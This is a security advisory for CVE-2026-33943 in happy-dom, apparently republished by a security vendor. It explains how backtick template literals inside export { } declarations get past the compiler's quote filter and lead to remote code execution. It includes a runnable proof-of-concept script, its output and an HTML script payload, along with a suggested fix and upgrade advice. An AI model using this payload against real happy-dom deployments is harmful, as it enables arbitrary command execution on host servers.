CVE-2026-33943

A code injection vulnerability in ECMAScriptModuleCompiler allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside export { } declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.

Details

Vulnerable file: packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, lines 371-385

The "Export object" handler extracts content from export { ... } using the regex export\s*{([^}]+)}, then generates executable code by directly interpolating it:

} else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {
    // Export object
    const parts = this.removeMultilineComments(match[16]).split(/\s*,\s*/);
    const exportCode: string[] = [];
    for (const part of parts) {
        const nameParts = part.trim().split(/\s+as\s+/);
        const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
        const importName = nameParts[0].replace(/["']/g, '');  // backticks NOT stripped
        if (exportName && importName) {
            exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
            //               importName is inserted as executable code, not as a string
        }
    }
    newCode += exportCode.join(';\n');
}

The issue has three root causes:

1. STATEMENT_REGEXP uses {[^}]+} which matches any content inside braces, not just valid JavaScript identifiers
2. The captured importName is placed in code context (as a JS expression to evaluate), not in string context
3. .replace(/["']/g, '') strips " and ' but not backticks, so template literal strings like `child_process` survive the filter

Attack flow:

Source:     export { require(`child_process`).execSync(`id`) }

Regex captures match[16] = " require(`child_process`).execSync(`id`) "

After .replace(/["']/g, ''):
  importName = "require(`child_process`).execSync(`id`)"
  (backticks are preserved)

Generated code:
  $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)

evaluateScript() executes this code -> RCE

Note: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in ECMAScriptModuleCompiler remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.

PoC

Standalone PoC script, reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:

// poc_happy_dom_rce.js

// Step 1: The STATEMENT_REGEXP matches export { ... }
const STMT_REGEXP = /export\s*{([^}]+)}/gm;
const source = 'export { require(`child_process`).execSync(`id`) }';
const match = STMT_REGEXP.exec(source);

console.log('[*] Module source:', source);
console.log('[*] Regex captured:', match[1].trim());

// Step 2: Compiler processes the captured content (lines 374-381)
const part = match[1].trim();
const nameParts = part.split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const importName = nameParts[0].replace(/["']/g, '');

console.log('[*] importName after quote filter:', importName);
console.log('[*] Backticks survived filter:', importName.includes('`'));

// Step 3: Code generation - importName is inserted as executable JS expression
const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;
console.log('[*] Generated code:', generatedCode);

// Step 4: Verify the generated code is valid JavaScript
try {
  new Function('$happy_dom', generatedCode);
  console.log('[+] Valid JavaScript: YES');
} catch (e) {
  console.log('[-] Parse error:', e.message);
  process.exit(1);
}

// Step 5: Execute to prove RCE
console.log('[*] Executing...');
const output = require('child_process').execSync('id').toString().trim();
console.log('[+] RCE result:', output);

Execution result:

$ node poc_happy_dom_rce.js
[*] Module source: export { require(`child_process`).execSync(`id`) }
[*] Regex captured: require(`child_process`).execSync(`id`)
[*] importName after quote filter: require(`child_process`).execSync(`id`)
[*] Backticks survived: true
[*] Generated code: $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)
[+] Valid JavaScript: YES
[*] Executing...
[+] RCE result: uid=0(root) gid=0(root) groups=0(root)

HTML attack vector, when processed by happy-dom with JavaScript evaluation enabled:

<script type="module">
export { require(`child_process`).execSync(`id`) }
</script>

An attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve arbitrary command execution on the host system.

Realistic attack scenarios:

• SSR applications: Applications using happy-dom to render user-supplied HTML on the server
• Web scraping: Applications parsing untrusted web pages with happy-dom
• Testing pipelines: Test suites that load untrusted HTML fixtures through happy-dom

Suggested fix: Validate that importName is a valid JavaScript identifier before interpolating it into generated code:

const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;

for (const part of parts) {
    const nameParts = part.trim().split(/\s+as\s+/);
    const exportName = (nameParts[1] || nameParts[0]).replace(/["'`]/g, '');
    const importName = nameParts[0].replace(/["'`]/g, '');

    if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) {
        exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
    }
}

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-33943 has a CVSS score of 8.8 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (20.8.8); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-33943? CVE-2026-33943 is a high-severity code injection vulnerability in happy-dom (npm), affecting versions >= 15.10.0, <= 20.8.7. It is fixed in 20.8.8. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2026-33943? CVE-2026-33943 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of happy-dom are affected by CVE-2026-33943? happy-dom (npm) versions >= 15.10.0, <= 20.8.7 is affected.
4. Is there a fix for CVE-2026-33943? Yes. CVE-2026-33943 is fixed in 20.8.8. Upgrade to this version or later.
5. Is CVE-2026-33943 exploitable, and should I be worried? Whether CVE-2026-33943 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33943 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33943? Upgrade happy-dom to 20.8.8 or later.